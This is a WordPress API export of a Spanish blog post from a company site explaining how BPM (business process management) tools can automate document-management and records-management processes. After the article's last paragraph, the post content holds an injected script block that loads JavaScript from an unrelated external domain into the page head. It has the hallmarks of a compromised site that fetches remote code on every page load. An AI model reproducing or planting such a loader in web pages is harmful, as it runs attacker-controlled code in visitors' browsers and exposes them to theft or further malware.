{"id":6498,"date":"2019-02-19T15:35:46","date_gmt":"2019-02-19T20:35:46","guid":{"rendered":"https:\/\/www.adapting.com\/tecnoimagenes-s-a-se-certifica-como-business-partner-de-grupo-adapting-en-colombia-copy\/"},"modified":"2026-03-20T03:55:30","modified_gmt":"2026-03-20T08:55:30","slug":"soluciones-para-automatizar-procesos-de-gestion-documental-con-herramientas-bpm","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/soluciones-para-automatizar-procesos-de-gestion-documental-con-herramientas-bpm\/","title":{"rendered":"Soluciones para automatizar procesos de gesti\u00f3n documental con herramientas BPM"},"content":{"rendered":"<h4><img loading=\"lazy\" class=\"size-medium wp-image-6500 alignleft\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2019\/02\/mapa-mental-300x144.jpg\" alt=\"\" width=\"300\" height=\"144\" \/><\/h4>\n<p>La Gesti\u00f3n de Procesos de Negocio o <strong>BPM<\/strong> es un \u00e1rea de gesti\u00f3n que aspira a la mejora continua del rendimiento empresarial mediante la optimizaci\u00f3n de los procesos de negocio de la compa\u00f1\u00eda. BPM empez\u00f3 con el empleo de tecnolog\u00edas de la Informaci\u00f3n para automatizaci\u00f3n de procesos industriales, donde la intervenci\u00f3n de personas era menos representativa.<\/p>\n<p>Desde entonces, se aplica a los procesos de negocio en los que las acciones humanas, las decisiones que ellos toman y la interacci\u00f3n entre actores distintos son esenciales para el \u00e9xito del proceso. Es lo que tambi\u00e9n se ha denominado \u201csistemas de gesti\u00f3n por <strong>workflow<\/strong>\u201d.<\/p>\n<p>La automatizaci\u00f3n de <strong>procesos de gesti\u00f3n documental <\/strong>se ha convertido es una categor\u00eda del BPM que ha cobrado mucha relevancia por la necesidad de reducir tiempos, gastos y en general optimizar aquellos procesos en los que la producci\u00f3n, tr\u00e1mite o publicaci\u00f3n de documentos forma parte esencial de la cadena de valor de las empresas.<\/p>\n<p>Sin embargo, en el mundo del software de <strong>gesti\u00f3n electr\u00f3nica de documentos<\/strong> asistimos a dos <strong>tendencias<\/strong> opuestas respecto a la automatizaci\u00f3n:<\/p>\n<ul>\n<li>La masificaci\u00f3n de herramientas de tramitaci\u00f3n electr\u00f3nica de expedientes que no disponen en absoluto de una capacidad de modelado de procesos, que son muy eficientes para tareas muy concretas, pero poco aprovechables para un empleo universal y flexible en las organizaciones.<\/li>\n<li>La presencia de herramientas BPM muy potentes, con amplias capacidades de integraci\u00f3n, a veces muy costosas para despliegues masivos, pero que en su dise\u00f1o no consideran ni favorecen las buenas pr\u00e1cticas en gesti\u00f3n documental, sembrando o multiplicando con frecuencia el caos digital en la empresa moderna.<\/li>\n<\/ul>\n<p>En este art\u00edculo conoceremos m\u00e1s de cerca algunas tecnolog\u00edas de BPM acopladas con herramientas de gesti\u00f3n documental profesional, que logran equilibrar los requisitos de modelado, optimizaci\u00f3n y control de procesos, con los requisitos funcionales de la gesti\u00f3n documental y el <strong>records management<\/strong>.<\/p>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 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